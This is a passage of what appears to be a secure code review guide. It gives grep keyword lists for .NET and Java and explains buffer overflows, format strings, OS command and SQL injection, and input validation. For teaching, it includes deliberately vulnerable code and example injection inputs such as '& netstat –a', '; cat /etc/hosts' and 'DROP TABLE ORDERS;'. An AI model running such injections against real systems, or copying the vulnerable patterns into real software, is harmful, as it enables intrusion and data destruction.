Requests from external sources are obviously a key area of a secure code review. We need to ensure that all HTTP requests received are data validated for composition, max and min length and if the data falls with the realms of the parameter whitelist. Bottom-line is this is a key area to look at and ensure security is enabled.

```
request.querystring
request.form
request.cookies
request.certificate
request.servervariables
request.IsSecureConnection
request.TotalBytes
request.BinaryRead
```

HTML OUTPUT

Here we are looking for responses to the client. Responses which go unvalidated or which echo external input without data validation are key areas to examine. Many client side attacks result from poor response validation. XSS relies on this somewhat.

```
response.write
<% =
HttpUtility
HtmlEncode
UrlEncode
innerText
innerHTML
```

SQL & DATABASE

Locating where a database may be involved in the code is an important aspect of the code review. Looking at the database code will help determine if the application is vulnerable to SQL injection. One aspect of this is to verify that the code uses either *SqlParameter*, *OleDbParameter*, or *OdbcParameter*(System.Data.SqlClient). These are typed and treats parameters as the literal value and not executable code in the database.

exec sp_executesql
execute sp_executesql
select from
Insert
update
delete from where
delete
exec sp_
execute sp_
exec xp_
execute sp_
exec @
execute @
executestatement
executeSQL
setfilter
executeQuery
GetQueryResultInXML
adodb
sqloledb
sql server
driver
Server.CreateObject
.Provider
.Open
ADODB.recordset
New OleDbConnection
ExecuteReader
DataSource
SqlCommand
Microsoft.Jet
SqlDataReader
ExecuteReader

GetString
SqlDataAdapter
CommandType
StoredProcedure
System.Data.sql

COOKIES

Cookie manipulation can be key to various application security exploits such as session hijacking/fixation and parameter manipulation. One should examine any code relating to cookie functionality as this would have a bearing on session security.

System.Net.Cookie
HTTPOnly
document.cookie

HTML TAGS

Many of the HTML tags below can be used for client side attacks such as cross site scripting. It is important to examine the context in which these tags are used and to examine any relevant data validation associated with the display and use of such tags within a web application.

HtmlEncode
URLEncode
<applet>
<frameset>
<embed>
<frame>
<html>
<iframe>
<img>
<style>
<layer>
<ilayer>
<meta>
<object>
<body>
<frame security
<iframe security

INPUT CONTROLS

The input controls below are server classes used to produce and display web application form fields. Looking for such references helps locate entry points into the application.

system.web.ui.htmlcontrols.htmlinputhidden
system.web.ui.webcontrols.textbox
system.web.ui.webcontrols.listbox
system.web.ui.webcontrols.checkboxlist
system.web.ui.webcontrols.dropdownlist

WEB.CONFIG

The .NET Framework relies on .config files to define configuration settings. The .config files are text-based XML files. Many .config files can, and typically do, exist on a single system. Web applications refer to a web.config file located in the application's root directory. For ASP.NET applications, web.config contains information about most aspects of the application's operation.

requestEncoding
responseEncoding
trace
authorization
CustomErrors
httpRuntime
maxRequestLength
debug
forms protection
appSettings
ConfigurationSettings
authentication mode
allow
deny
credentials
identity impersonate
timeout

GLOBAL.ASAX

Each application has its own Global.asax if one is required. Global.asax sets the event code and values for an application using scripts. One must ensure that application variables do not contain sensitive information, as they are accessible to the whole application and to all users within it.

Application_OnAuthenticateRequest
Application_OnAuthorizeRequest
Session_OnStart
Session_OnEnd

LOGGING

Logging can be a source of information leakage. It is important to examine all calls to the logging subsystem and to determine if any sensitive information is being logged. Common mistakes are logging userID in conjunction with passwords within the authentication functionality or logging database requests which may contains sensitive data.

log4net
Console.WriteLine
System.Diagnostics.Debug
System.Diagnostics.Trace

MACHINE.CONFIG

Its important that many variables in machine.config can be overridden in the web.config file for a particular application.

validateRequest
enableViewState
enableViewStateMac

THREADS AND CONCURRANCY

Locating code that contains multithreaded functions. Concurrency issues can result in race conditions which may result in security vulnerabilities. The Thread keyword is where new threads objects are created. Code that uses static global variables which hold sensitive security information may cause session issues. Code that uses static constructors may also cause issues between threads. Not synchronizing the Dispose method may cause issues if a number of threads call Dispose at the same time, this may cause resource release issues.

Thread
Dispose

CLASS DESIGN

Public and Sealed relate to the design at class level. Classes which are not intended to be derived from should be sealed. Make sure all class fields are Public for a reason. Don't expose anything you don't need to.

Public
Sealed

REFLECTION, SERIALIZATION

Code may be generated dynamically at runtime. Code that is generated dynamically as a function of external input may give rise to issues. If your code contains sensitive data does it need to be serialized?

Serializable
AllowPartiallyTrustedCallersAttribute
GetObjectData
StrongNameIdentityPermission
StrongNameIdentity
System.Reflection

EXCEPTIONS & ERRORS

Ensure that the catch blocks do not leak information to the user in the case of an exception. Ensure when dealing with resources that the finally block is used. Having trace enabled is not great from an information leakage perspective. Ensure customized errors are properly implemented.

catch{
Finally
trace enabled
customErrors mode

CRYPTO

If cryptography is used then is a strong enough cipher used i.e. AES or 3DES. What size key is used, the larger the better. Where is hashing performed. Are passwords that are being persisted hashed, they should be. How are random numbers generated? Is the PRNG "random enough"?

RNGCryptoServiceProvider
SHA
MD5
base64

xor
DES
RC2
System.Random
Random
System.Security.Cryptography

STORAGE

If storing sensitive data in memory recommend one uses the following.

SecureString
ProtectedMemory

AUTHORIZATION, ASSERT & REVERT

Bypassing the code access security permission? Not a good idea. Also below is a list of potentially dangerous permissions such as calling unmanaged code, outside the CLR.

.RequestMinimum
.RequestOptional
Assert
Debug.Assert
CodeAccessPermission
ReflectionPermission.MemberAccess
SecurityPermission.ControlAppDomain
SecurityPermission.UnmanagedCode
SecurityPermission.SkipVerification
SecurityPermission.ControlEvidence
SecurityPermission.SerializationFormatter
SecurityPermission.ControlPrincipal
SecurityPermission.ControlDomainPolicy
SecurityPermission.ControlPolicy

LEAGCY METHODS

printf
strcpy

SEARCHING FOR CODE IN J2EE/JAVA

INPUT AND OUTPUT STREAMS

These are used to read data into ones application. They may be potential entry points into an application. The entry points may be from an external source and must be investigated. These may also be used in path traversal attacks or DoS attacks.

Java.io
FileInputStream
ObjectInputStream
FilterInputStream
PipedInputStream
SequenceInputStream
StringBufferInputStream
BufferedReader
ByteArrayInputStream
CharArrayReader

FILE

ObjectInputStream
PipedInputStream
StreamTokenizer
getResourceAsStream
java.io.FileReader
java.io.FileWriter
java.io.RandomAccessFile
java.io.File
java.io.FileOutputStream

SERVLETS

These API calls may be avenues for parameter, header, URL & cookie tampering, HTTp Response Splitting and information leakage. They should be examined closely as may of such API's obtain the parameters from directly from HTTP requests.

javax.servlet.
getParameterNames
getParameterValues
getParameter
getParameterMap
getScheme
getProtocol
getContentType
getServerName
getRemoteAddr
getRemoteHost
getRealPath

getLocalName
getAttribute
getAttributeNames
getLocalAddr
getAuthType
getRemoteUser
getCookies
isSecure
HttpServletRequest
getQueryString
getHeader
getPrincipal
isUserInRole
getOutputStream
getWriter
addCookie
addHeader
setHeader
javax.servlet.http.Cookie
getName
getPath
getDomain
getComment
getValue
getRequestedSessionId

CROSS SITE SCRIPTING

javax.servlet.ServletOutputStream.print
javax.servlet.jsp.JspWriter.print
java.io.PrintWriter.print

RESPONSE SPLITTING

javax.servlet.http.HttpServletResponse.sendRedirect

SQL & DATABASE

Searching for Java Database related code this list should help you pinpoint classes/methods which are involved in the persistance layer of the application being reviewed.

jdbc
executeQuery
select

insert
update
delete
execute
executestatement
java.sql.ResultSet.getString
java.sql.ResultSet.getObject
java.sql.Statement.executeUpdate
java.sql.Statement.executeQuery
java.sql.Statement.execute
java.sql.Statement.addBatch
java.sql.Connection.prepareStatement
java.sql.Connection.prepareCall

SSL

Looking for code which utilises SSL as a medium for point to point encryption. The following fragments should indicate where SSL functionality has been developed.

com.sun.net.ssl
SSLContext
SSLSocketFactory
TrustManagerFactory
HttpsURLConnection
KeyManagerFactory

SESSION MANAGEMENT

getSession
invalidate
getId

LEGACY INTERACTION

Here we may be vulnerable to command injection attacks or OS injection attacks. Java linking to the native OS can cause serious issues ans potentailly give rise to total server compromise.

java.lang.Runtime.exec

LOGGING

We may come across some information leakage by examining code below contained in ones application.

java.io.PrintStream.write
log4j
jLo
Lumberjack
MonoLog
qflog
just4log
log4Ant
JDLabAgent

ARCHITECTURAL ANALYSIS

If we can identify major architectural components within that application (right away) it can help narrow our search, and we can then look for known vulnerabilities in those components and frameworks:

Ajax
XMLHTTP
Struts
org.apache.struts
Spring
org.springframework
Java Server Faces (JSF)
import javax.faces
Hibernate
import org.hibernate
Castor
org.exolab.castor
JAXB
javax.xml
JMS
JMS

GENERIC KEYWORDS

Developers say the darnedest things in their source code. Look for the following keywords as pointers to possible software vulnerabilities:

Hack
Kludge
Bypass

Steal
Stolen
Divert
Broke
Trick
Fix
ToDo

WEB 2.0

Ajax and JavaScript

Look for Ajax usage, and possible JavaScript issues:

document.write
eval(
document.cookie
window.location
document.URL

XMLHTTP

window.createRequest

EXAMPLES BY VULNERABILITY

The following sections cover common vulnerabilities found in web applications. The vulnerability is discussed, examples of the cause of the vulnerability are explored with references to code and possible solutions are also discussed:

REVIEWING CODE FOR BUFFER OVERRUNS AND OVERFLOWS

THE BUFFER

A Buffer is an amount of contiguous memory set aside for storing information. Example: A program has to remember certain things, like what your shopping cart contains or what data was inputted prior to the current operation this information is stored in memory in a buffer.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

In locating potentially vulnerable code from a buffer overflow standpoint one should look for particular signatures such as:

Arrays:

```
 int x[20];
 int y[20][5];
 int x[20][5][3];
Format Strings:
 printf() ,fprintf(), sprintf(), snprintf().
 %x,  %s, %n, %d, %u, %c, %f
```

Over flows:

```
 strcpy (), strcat (), sprintf (), vsprintf ()
```

VULNERABLE PATTERNS FOR BUFFER OVERFLOWS

‘VANILLA’ BUFFER OVERFLOW:

Example:

A program might want to keep track of the days of the week (7). The programmer tells the computer to store a space for 7 numbers. This is an example of a buffer. But what happens if an attempt to add 8 numbers is performed? Languages such as C and C++ do not perform bounds checking and therefore if the program is written in such a language the 8th piece of data would overwrite the program space of the next program in memory would result in data corruption. This can cause the program to crash at a minimum or a carefully crafted overflow can cause malicious code to be executed, as the overflow payload is actual code.

```
void copyData(char *userId) {
  char  smallBuffer[10]; // size of 10
  strcpy(smallBuffer, userId);
}
int main(int argc, char *argv[]) {
char *userId = "01234567890"; // Payload of 11
copyData (userId); // this shall cause a buffer overload
}
```

Buffer overflows are the result of stuffing more code into a buffer than it is meant to hold.

THE FORMAT STRING:

A format function is a function within the ANSI C specification. It can be used to tailor primitive C data types to human readable form. They are used in nearly all C programs to output information, print error messages, or process strings.
Some format parameters:

%x	hexadecimal (unsigned int)
%s	string ((const) (unsigned) char *)
%n	number of bytes written so far, (* int)
%d	decimal (int)
%u	unsigned decimal (unsigned int)

Example:

```
printf ("Hello: %s\n", a273150);
```

The %s in this case ensures that the parameter (a273150) is printed as a string.
Through supplying the format string to the format function we are able to control the behaviour of it. So supplying input as a format string makes our application do things its not meant to! What exactly are we able to make the application do?

CRASHING AN APPLICATION:

```
printf (User_Input);
```

If we supply %x (hex unsigned int) as the input, the printf function shall expect to find an integer relating to that format string, but no argument exists. This can not be detected at compile time. At runtime this issue shall surface.

WALKING THE STACK:

For every % in the argument the printf function finds it assumes that there is an associated value on the stack. In this way the function walks the stack downwards reading the corresponding values from the stack and printing them to user

Using format strings we can execute some invalid pointer access by using a format string such as:

```
printf ("%s%s%s%s%s%s%s%s%s%s%s%s");
```

Worse again is using the %n directive in printf(). This directive takes an int* and writes the number of bytes so far to that location.

Where to look for this potential vulnerability. This issue is prevalent with the printf() family of functions, printf(),fprintf(), sprintf(), snprintf(). Also syslog() (writes system log information) and setproctitle(const char *fmt, ...); (which sets the string used to display process identifier information).

INTEGER OVERFLOWS:

```
include <stdio.h>
  int main(void){
        int val;
        val = 0x7fffffff;         /* 2147483647*/
        printf("val = %d (0x%x)\n", val, val);
        printf("val + 1 = %d (0x%x)\n", val + 1 , val + 1); /*Overflow the int*/
        return 0;
  }
```

The binary representation of 0x7fffffff is 1111111111111111111111111111111; this integer is initialized with the highest positive value a signed long integer can hold.

Here when we add 1 to the hex value of 0x7fffffff the value of the integer overflows and goes to a negative number (0x7fffffff + 1 = 80000000) In decimal this is (-2147483648). Think of the problems this may cause!! Compilers will not detect this and the application will not notice this issue.

We get these issues when we use signed integers in comparisons or in arithmetic and also comparing signed integers with unsigned integers

Example:

```
int myArray[100];
  int fillArray(int v1, int v2){
     if(v2 > sizeof(myArray) / sizeof(int)){
        return -1; /* Too Big !! */
     }
     myArray [v2] = v1;
     return 0;
  }
```

Here if v2 is a massive negative number so the if condition shall pass. This condition checks to see if v2 is bigger than the array size. The line myArray[v2] = v1 assigns the value v1 to a location out of the bounds of the array causing unexpected results.

GOOD PATTERNS & PROCEDURES TO PREVENT BUFFER OVERFLOWS:

Example:

```
void copyData(char *userId) {
   char  smallBuffer[10]; // size of 10
   strncpy(smallBuffer, userId, 10); // only copy first 10 elements
   smallBuffer[9] = 0; // Make sure it is terminated.
}



int main(int argc, char *argv[]) {
   char *userId = "01234567890"; // Payload of 11
   copyData (userId); // this shall cause a buffer overload
}
```

The code above is not vulnerable to buffer overflow as the copy functionality uses a specified length, 10.

C library functions such as strcpy (), strcat (), sprintf () and vsprintf () operate on null terminated strings and perform no bounds checking. gets () is another function that reads input (into a buffer) from stdin until a terminating newline or EOF (End of File) is found. The scanf () family of functions also may result in buffer overflows.

Using strncpy(), strncat(), snprintf(), and fgets() all mitigate this problem by specifying the maximum string length. The details are slightly different and thus understanding their implications is required.

Always check the bounds of an array before writing it to a buffer.

The Microsoft C runtime also provides additional versions of many functions with an _s suffix (strcpy_s, strcat_s, sprintf_s). These functions perform additional checks for error conditions and call an error handler on failure. (See Security Enhancements in the CRT)

.NET & JAVA

C# or C++ code in the .NET framework can be immune to buffer overflows if the code is managed. Managed code is code executed by a .NET virtual machine, such as Microsoft's. Before the code is run, the Intermediate Language is compiled into native code. The managed execution environments own runtime-aware complier performs the compilation; therefore the managed execution environment can guarantee what the code is going to do. The Java development language also does not suffer from buffer overflows; as long as native methods or system calls are not invoked, buffer overflows are not an issue.

REVIEWING CODE FOR OS INJECTION

INTRODUCTION

Injection flaws allow attackers to pass malicious code through a web application to another sub system. Depending on the subsystem different types of injection attack can be performed: RDBMS: SQL Injection WebBrowser/Appserver: SQL Injection OS-shell: Operating system commands Calling external applications from your application.

HOW TO LOCATE THE POTENTIALLY VULNERABLE CODE

Many developers believe text fields are the only areas for data validation. This is an incorrect assumption. Any external input must be data validated:

Text fields, List boxes, radio buttons, check boxes, cookies, HTTP header data, HTTP post data, hidden fields, parameter names and parameter values. … This is not an exhaustive list.

“Process to process” or “entity-to-entity” communication must be investigated also. Any code that communicates with an upstream or downstream process and accepts input from it must be reviewed.

All injection flaws are input validation errors. The presence if an injection flaw is an indication of incorrect data validation on the input received from an external source outside the boundary of trust, which gets more blurred every year.

Basically for this type of vulnerability we need to find all input streams into the application. This can be from a users browser, CLI or fat client but also from upstream processes that “feed” our application.

An example would be to search the code base for the use of API’s or packages that are normally used for communication purposes.

The **java.io**, **java.sql**, **java.net**, **java.rmi**, **java.xml** packages are all used for application communication. Searching for methods from those packages in the code base can yield results. A less “scientific” method is to search for common keywords such as “UserID”, “LoginID” or “Password”.

VULNERABLE PATTERNS FOR OS INJECTION

What we should be looking for are relationships between the application and the operating system. The application utilizing functions of the underlying operating system.

In java using the Runtime object, **java.lang.Runtime** does this. In .NET calls such as **System.Diagnostics.Process.Start** are used to call underlying OS functions. In PHP we may look for calls such as **exec()** or **passthru()**.

Example:

We have a class that eventually gets input from the user via a HTTP request. This class is used to execute some native exe on the application server and return a result.

```
public class DoStuff {
public string executeCommand(String userName)
{
        try {
                String myUid = userName;
                Runtime rt = Runtime.getRuntime();
                rt.exec("doStuff.exe " +"-" +myUid); // Call exe with userID
        }catch(Exception e)
                {
                e.printStackTrace();
                }
        }
    }
```

Ok, so the method executeCommand calls ***doStuff.exe*** via the ***java.lang.runtime*** static method ***getRuntime()***. The parameter passed is not validated in any way in this class. We are assuming that the data has not been data validated prior to calling this method. *Transactional analysis should have encountered any data validation prior to this point.* Inputting "Joe69" would result in the following MS DOS command: ***doStuff.exe –Joe69*** Lets say we input ***Joe69 & netstat –a*** we would get the following response: The exe doStuff would execute passing in the User Id Joe69, but then the dos command ***netstat*** would be called. How this works is the passing of the parameter "&" into the application, which in turn is used as a command appender in MS DOS and hence the command after the & character is executed.

UNIX: An attacker might insert the string **"; cat /etc/hosts"** the contents of the UNIX hosts file might be exposed to the attacker.

.NET EXAMPLE

```
namespace ExternalExecution
{
        class CallExternal
        {
        static void Main(string[] args)
                {
                String arg1=args[0];
                System.Diagnostics.Process.Start("doStuff.exe", arg1);
                }
        }
}
```

Yet again there is no data validation to speak of here. Assuming no upstream validation occurring in another class.

These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e., SQL injection). Complete scripts written in perl, python, shell, bat and other languages can be injected into poorly designed web applications and executed.

GOOD **PATTERNS & PROCEDURES TO PREVENT OS INJECTION**

See the Data Validation section.

REVIEWING CODE FOR SQL INJECTION

WHAT IS SQL INJECTION?

SQL injection is a security vulnerability that occurs in the persistence/database layer of a web application. This vulnerability is derived from the incorrect escaping of variables embedded in SQL statements. It is in fact an instance of a more general class of vulnerabilities based on poor input validation and bad design that can occur whenever one programming or scripting language is embedded inside another.

RELATED SECURITY ACTIVITIES

Description of SQL Injection Vulnerabilities

See the OWASP article on SQL Injection Vulnerabilities, and the references at the bottom of this page.

HOW TO AVOID SQL INJECTION VULNERABILITIES

See the OWASP Guide article on how to Avoid SQL Injection Vulnerabilities.

HOW TO TEST FOR SQL INJECTION VULNERABILITIES

See the OWASP Testing Guide article on how to Test for SQL Injection Vulnerabilities.

HOW TO LOCATE POTENTIALLY VULNERABLE CODE

A secure way to build SQL statements is to construct all queries with PreparedStatement instead of Statement and/or to use parameterized stored procedures. Parameterized stored procedures are compiled before user input is added, making it impossible for a hacker to modify the actual SQL statement.

The account used to make the database connection must have “Least privilege” If the application only requires read access then the account must be given read access only.

Avoid disclosing error information: Weak error handling is a great way for an attacker to profile SQL injection attacks. Uncaught SQL errors normally give too much information to the user and contain things like table names and procedure names.

BEST PRACTICES WHEN DEALING WITH DB'S

Use Database stored procedures, but even stored procedures can be vulnerable. Use parameterized queries instead of dynamic SQL statements. Data validate all external input: Ensure that all SQL statements recognize user inputs as variables, and that statements are precompiled before the actual inputs are substituted for the variables in Java.

SQL INJECTION EXAMPLE

```
String DRIVER = "com.ora.jdbc.Driver";
String DataURL = "jdbc:db://localhost:5112/users";
String LOGIN = "admin";
String PASSWORD = "admin123";
Class.forName(DRIVER);
//Make connection to DB
Connection connection = DriverManager.getConnection(DataURL, LOGIN,
PASSWORD);
String Username = request.getParameter("USER"); // From HTTP request
String Password = request.getParameter("PASSWORD"); // From HTTP request
int iUserID = -1;
String sLoggedUser = "";
String sel = "SELECT User_id, Username FROM USERS WHERE Username = '" +Username + "'
AND Password = '" + Password + "'";
Statement selectStatement = connection.createStatement ();
ResultSet resultSet = selectStatement.executeQuery(sel);
if (resultSet.next()) {
    iUserID = resultSet.getInt(1);
    sLoggedUser = resultSet.getString(2);
}
PrintWriter writer = response.getWriter ();
if (iUserID >= 0) {
    writer.println ("User logged in: " + sLoggedUser);
} else {
    writer.println ("Access Denied!")
```

}

When SQL statements are dynamically created as software executes, there is an opportunity for a security breach as the input data can truncate or malform or even expand the original SQL query!

Firstly the request.getParameter retrieves the data for the SQL query directly from the HTTP request without any Data validation (Min/Max length, Permitted characters, malicious characters). This error gives rise to the ability to input SQL as the payload and alter the functionality in the statement.

The application places the payload directly into the statement causing the SQL vulnerability:

```
String sel = "SELECT User_id, Username FROM USERS WHERE Username = '" Username + "' AND Password = '" + Password + "'";
```

.NET

Parameter collections such as SqlParameterCollection provide type checking and length validation. If you use a parameters collection, input is treated as a literal value, and SQL Server does not treat it as executable code and therefore the payload can not be injected. Using a parameters collection lets you enforce type and length checks. Values outside of the range trigger an exception. Make sure you handle the exception correctly. Example of the SqlParameterCollection:

```
using System.Data;
using System.Data.SqlClient;
using (SqlConnection conn = new SqlConnection(connectionString))
{
  DataSet dataObj = new DataSet();
  SqlDataAdapter sqlAdapter = new SqlDataAdapter( "StoredProc", conn);
  sqlAdapter.SelectCommand.CommandType = CommandType.StoredProcedure;
 //specify param type
  sqlAdapter.SelectCommand.Parameters.Add("@usrId", SqlDbType.VarChar, 15);
  sqlAdapter.SelectCommand.Parameters["@usrId "].Value = UID.Text; // Add data from user
  sqlAdapter.Fill(dataObj); // populate and execute proc
}
```

Stored procedures don't always protect against SQL injection:

```
CREATE PROCEDURE dbo.RunAnyQuery

@parameter NVARCHAR(50)

AS

	EXEC sp_executesql @parameter

GO
```

The above procedure shall execute any SQL you pass to it. The directive sp_executesql is a system stored procedure in Microsoft® SQL Server™

Lets pass it.

```
DROP TABLE ORDERS;
```

Guess what happens? So we must be careful of not falling into the "We're secure, we are using stored procedures" trap!

REVIEWING CODE FOR DATA VALIDATION

One key area in web application security is the validation of data inputted from an external source. Many application exploits a derived from weak input validation on behalf of the application. Weak data validation gives the attacked the opportunity to make the application perform some functionality which it is not meant to do.

CANONICALIZATION OF INPUT.

Input can be encoded to a format that can still be interpreted correctly by the application but may not be an obvious avenue of attack.

The encoding of ASCII to Unicode is another method of bypassing input validation. Applications rarely test for Unicode exploits and hence provides the attacker a route of attack.

The issue to remember here is that the application is safe if Unicode representation or other malformed representation is input. The application responds correctly and recognizes all possible representations of invalid characters.

Example:

The ASCII: <script>

(If we simply block "<" and ">" characters the other representations below shall pass data validation and execute).

URL encoded: %3C%73%63%72%69%70%74%3E

Unicode Encoded: &#60&#115&#99&#114&#105&#112&#116&#62

The OWASP Guide 2.1 delves much more into this subject.

DATA VALIDATION STRATEGY

A general rule is to accept only "**Known Good**" characters, i.e. the characters that are to be expected. If this cannot be done the next strongest strategy is "**Known bad**", where we reject all known bad characters. The issue with this is that today's known bad list may expand tomorrow as new technologies are added to the enterprise infrastructure.

There are a number of models to think about when designing a data validation strategy, which are listed from the strongest to the weakest as follows.

1. **Exact Match** (Constrain)
2. **Known Good** (Accept)
3. **Reject Known bad** (Reject)
4. **Encode Known bad** (Sanitize)

In addition there must be a check for maximum length of any input received from an external source, such as a downstream service/computer or a user at a web browser.

Rejected Data must not be persisted to the data store unless it is sanitized. This is a common mistake to log erroneous data but that may be what the attacker wishes your application to do.

- **Exact Match**: (preferred method) Only accept values from a finite list of known values.

E.g.: A Radio button component on a Web page has 3 settings (A, B, C). Only one of those three settings must be accepted (A or B or C). Any other value must be rejected.

- **Known Good**: If we do not have a finite list of all the possible values that can be entered into the system we uses known good approach.

E.g.: an email address, we know it shall contain one and only one @. It may also have one or more full stops ".". The rest of the information can be anything from [a-z] or [A-Z] or [0-9] and some other characters such as "_ "or "–", so we let these ranges in and define a maximum length for the address.

- **Reject Known bad**: We have a list of known bad values we do not wish to be entered into the system. This occurs on free form text areas and areas where a user may write a note. The weakness of this model is that today known bad may not be sufficient for tomorrow.

- **Encode Known Bad**: This is the weakest approach. This approach accepts all input but HTML encodes any characters within a certain character range. HTML encoding is done so if the input needs to be redisplayed the browser shall not interpret the text as script, but the text looks the same as what the user originally typed.

HTML-encoding and URL-encoding user input when writing back to the client. In this case, the assumption is that no input is treated as HTML and all output is written back in a protected form. This is sanitization in action.

GOOD PATTERNS FOR DATA VALIDATION

DATA VALIDATION EXAMPLES

A good example of a pattern for data validation to prevent OS injection in PHP applications would be as follows:

```
$string = preg_replace("/[^a-zA-Z0-9]/", "", $string);
```

This code above would replace any non alphanumeric characters with "". **preg_grep()** could also be used for a ***True*** or ***False*** result. This would enable us to let "***only known good***" characters into the application.

Using regular expressions is a common method of restricting input character types. A common mistake in the development of regular expressions is not escaping characters, which are interpreted as control characters, or not validating all avenues of input.

Examples of regular expression are as follows:

http://www.regxlib.com/CheatSheet.aspx

^[a-zA-Z]$	Alpha characters only, a to z and A to Z (RegEx is case sensitive).
^[0-9]$	Numeric only (0 to 9).
[abcde]	Matches any single character specified in set
[^abcde]	Matches any single character not specified in set

FRAMEWORK EXAMPLE:(STRUTS 1.2)

In the J2EE world the struts framework (1.1) contains a utility called the commons validator. This enables us to do two things.

1. Enables us to have a central area for data validation.

2. Provides us with a data validation framework.

What to look for when examining struts is as follows:

The struts-config.xml file must contain the following:

```
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">

  <set-property property="pathnames" value="/technology/WEB-INF/

  validator-rules.xml, /WEB-INF/validation.xml"/>

</plug-in>
```

This tells the framework to load the validator plug-in. It also loads the property files defined by the comma-separated list. By default a developer would add regular expressions for the defined fields in the validation.xml file.

Next we look at the form beans for the application. In struts, form beans are on the server side and encapsulate the information sent to the application via a HTTP form. We can have concrete form beans (built in code by developers) or dynamic form beans. Here is a concrete bean below:

```
package com.pcs.necronomicon
import org.apache.struts.validator.ValidatorForm;
public class LogonForm extends ValidatorForm {
  private String username;
  private String password;
          public String getUsername() {
          return username;
          }
          public void setUsername(String username) {
                     this.username = username;
          }
          public String getPassword() {
                    return password;
          }
           public void setPassword(String password) {
                    this.password = password;
          }
}
```

Note the LoginForm extends the ValidatorForm, this is a must as the parent class (ValidatorForm) has a validate method which is called automatically and calls the rules defined in validation.xml

Now to be assured that this form bean is being called we look at the struts-config.xml file: It should have something like the following:

```
<form-beans>
  <form-bean name="logonForm"
          type=" com.pcs.necronomicon.LogonForm"/>
</form-beans>
```

Next we look at the validation.xml file. It should contain something similar to the following:

```
<form-validation>
 <formset>
   <form name="logonForm">
     <field property="username"
          depends="required">
       <arg0 key="prompt.username"/>
     </field>
   </form>
 </formset>
</form-validation>
```

Note the same name in the validation.xml, the struts-config.xml, this is an important relationship and is case sensitive.

The field “username” is also case sensitive and refers to the String username in the LoginForm class.

The “depends” directive dictates that the parameter is required. If this is blank the error defined in **Application.properties**. This configuration file contains error messages among other things. It is also a good place to look for information leakage issues:

Error messages for Validator framework validations

```
 errors.required={0} is required.
 errors.minlength={0} cannot be less than {1} characters.
 errors.maxlength={0} cannot be greater than {2} characters.
 errors.invalid={0} is invalid.
 errors.byte={0} must be a byte.
 errors.short={0} must be a short.
 errors.integer={0} must be an integer.
 errors.long={0} must be a long.0.
 errors.float={0} must be a float.

 errors.double={0} must be a double.
 errors.date={0} is not a date.
 errors.range={0} is not in the range {1} through {2}.
 errors.creditcard={0} is not a valid credit card number.
 errors.email={0} is an invalid e-mail address.
 prompt.username = User Name is required.
```

The error defined by arg0, prompt.username is displayed as an alert box by the struts framework to the user. The developer would need to take this a step further by validating the input via regular expression:

```
    <field property="username"
          depends="required,mask">
      <arg0 key="prompt.username"/>
          <var-name>mask
          ^[0-9a-zA-Z]*$
      </var>
    </field>
   </form>
 </formset>

 </form-validation>
```

Here we have added the Mask directive, this specifies a variable . *and a regular expression. Any input into the username field which has anything other than A to Z, a to z or 0 to 9 shall cause an error to be thrown. The most common issue with this type of* *development is either the developer forgetting to validate all fields or a complete form. The other thing to look for is incorrect regular expressions, so learn those RegEx's kids!!!*

We also need to check if the jsp pages have been linked up to the validation.xml finctionaltiy. This is done by <html:javascript> custom tag being included in the JSP as follows:

```
 <html:javascript formName="logonForm" dynamicJavascript="true"
staticJavascript="true" />
```

FRAMEWORK EXAMPLE :(.NET)

The ASP .NET framework contains a validator framework, which has made input validation easier and less error prone than in the past. The validation solution for .NET also has client and server side functionalty akin to Struts (J2EE). What is a validator? According to the Miscosoft (MSDN) definition it is as follows:

"A validator is a control that checks one input control for a specific type of error condition and displays a description of that problem."

The main point to take out of this from a code review perspective is that one validator does one type of function. If we need to do a number of different checks on our input we need to use more than one validator.

The .NET solution contains a number of controls out of the box:

- *RequiredFieldValidator – Makes the associated input control a required field.*
- *CompareValidator – Compares the value entered by the user into an input control with the value entered into another input control or a constant value.*
- *RangeValidator – Checks if the value of an input control is within a defined range of values.*
- *RegularExpressionValidator – Checks user input against a regular expression.*

The following is an example web page (.aspx) containing validation:

```
<html>
<head>
<title>Validate me baby!</title>
</head>
```

```
 <body>
 <asp:ValidationSummary runat=server HeaderText="There were errors on the page:" />

 <form runat=server>
Please enter your User Id
 <tr>
    <td>
        <asp:RequiredFieldValidator runat=server
           ControlToValidate=Name ErrorMessage="User ID is required."> *
        </asp:RequiredFieldValidator>
    </td>
    <td>User ID:</td>
    <td><input type=text runat=server id=Name></td>
 <asp:RegularExpressionValidator runat=server display=dynamic
           controltovalidate="Name"
           errormessage="ID must be 6-8 letters."
           validationexpression="[a-zA-Z0-9]{6,8}" />
  </tr>
 <input type=submit runat=server id=SubmitMe value=Submit>
 </form>
 </body>
 </html>
```

Remember to check to regular expressions so they are sufficient to protect the application. The "runat" directive means this code is executed at the server prior to being sent to client. When this is displayed to a users browser the code is simply HTML.

LENGTH CHECKING

Another issue to consider is input length validation. If the input is limited by length this reduces the size of the script that can be injected into the web app.

Many web applications use operating system features and external programs to perform their functions. When a web application passes information from an HTTP request through as part of an external request, it must be carefully data validated for content and min/max length. Without data validation the attacker can inject Meta characters, malicious commands, or command modifiers, masquerading, as legitimate information and the web application will blindly pass these on to the external system for execution.

Checking for minimum and maximum length is of paramount importance, even if the code base is not vulnerable to buffer overflow attacks.

If a logging mechanism is employed to log all data used in a particular transaction we need to ensure that the payload received is not so big that it may affect the logging mechanism. If the log file is sent a very large payload it may crash or if it is sent a very large payload repeatedly the hard disk of the app server may fill causing a denial of service. This type of attack can be used to recycle to log file, hence removing the audit trail. If string parsing is performed on the payload received by the application and an extremely large string is sent repeatedly to the application the CPU cycles used by the application to parse the payload may cause service degradation or even denial of service.

NEVER RELY ON CLIENT-SIDE DATA VALIDATION

Client-side validation can always be bypassed. Server-side code should perform its own validation. What if an attacker bypasses your client, or shuts off your client-side script routines, for example, by disabling JavaScript? Use client-side validation to help reduce the number of round trips to the server but do not rely on it for security. **Remember: Data validation must be always done on the server side. A code review focuses on server side code. Any client side security code is not and cannot be considered security.**

Data validation of parameter names:

When data is passed to a method of a web application via HTTP the payload is passed in a “key-value” pair such as UserId =3o1nk395y password=letMeIn123

Previously we talked about input validation of the payload (parameter value) being passed to the application. But we also may need to check that the parameter name (UserId,password from above) have not been tampered with. Invalid parameter names may cause the application to crash or act in an unexpected way. The best approach is “Exact Match” as mentioned previously.

WEB SERVICES DATA VALIDATION

